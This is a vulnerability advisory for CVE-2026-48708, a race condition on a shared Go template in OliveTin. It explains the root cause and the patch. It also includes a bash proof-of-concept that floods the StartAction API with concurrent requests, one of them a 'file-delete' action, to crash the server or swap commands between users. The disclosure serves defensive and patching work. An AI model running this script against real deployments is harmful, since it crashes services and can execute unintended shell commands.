high · 7.5CVE-2026-48708Jun 26, 2026

CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

OliveTin reuses a single shared Go template object across all goroutines with no locking, so two concurrent action executions can swap each other's shell command templates, running the wrong command…

Packagegithub.com/OliveTin/OliveTin
Ecosystemgo
Affected< 0.0.0-20260521225117-d74da9314005-
Fixed in0.0.0-20260521225117-d74da9314005
CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition

The problem

OliveTin's parseTemplate function in service/internal/tpl/templates.go calls tpl.Parse(source) on a package-level *template.Template singleton. Parse modifies the receiver in place and returns the same pointer, so t and tpl are the same object.

Every ExecRequest spawns a goroutine, meaning two concurrent action executions race on that single object. The race produces two distinct harms: Go's text/template internals hold a map[string]*Template that crashes the process with an unrecoverable fatal error: concurrent map writes when written concurrently, and even without a crash, one goroutine's Execute runs against the other goroutine's freshly parsed tree, substituting User A's arguments into User B's shell command.

Proof of concept

A working proof-of-concept for CVE-2026-48708 in github.com/OliveTin/OliveTin, with the exact payload below.

bash
#!/bin/bash
# Trigger the race: fire two different actions concurrently at high volume.
# Two goroutines inside OliveTin will race on the shared tpl variable.
# Expected outcomes: server crash (connection refused) or template contamination errors in logs.

for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait

# Check if the process crashed:
curl -s http://127.0.0.1:1337/readyz
# Connection refused = OliveTin killed by concurrent map write panic

The root cause is that tpl.Parse(source) mutates the shared receiver and returns it, so every caller holds the same pointer with no copy. Go's own documentation states that a Template's Parse method must not be called concurrently, and the internal tmpl map write causes a fatal, non-recoverable crash when two goroutines hit it at the same time.

The patch (commit d74da93) eliminates the singleton entirely. parseTemplate now constructs a fresh template.New("").Option(...).Funcs(...).Parse(source) on every call, giving each goroutine its own isolated object with no shared mutable state.

The fix

Upgrade to OliveTin 3000.13.0 (commit d74da9314005954dd49fa20dabf272247bc76519). The fix replaces the package-level tpl singleton with a new template.New("").Option("missingkey=error").Funcs(...).Parse(source) call inside parseTemplate, so each goroutine gets its own independent template instance.

Reported by jamesread.

References: [1][2][3][4][5]

Related research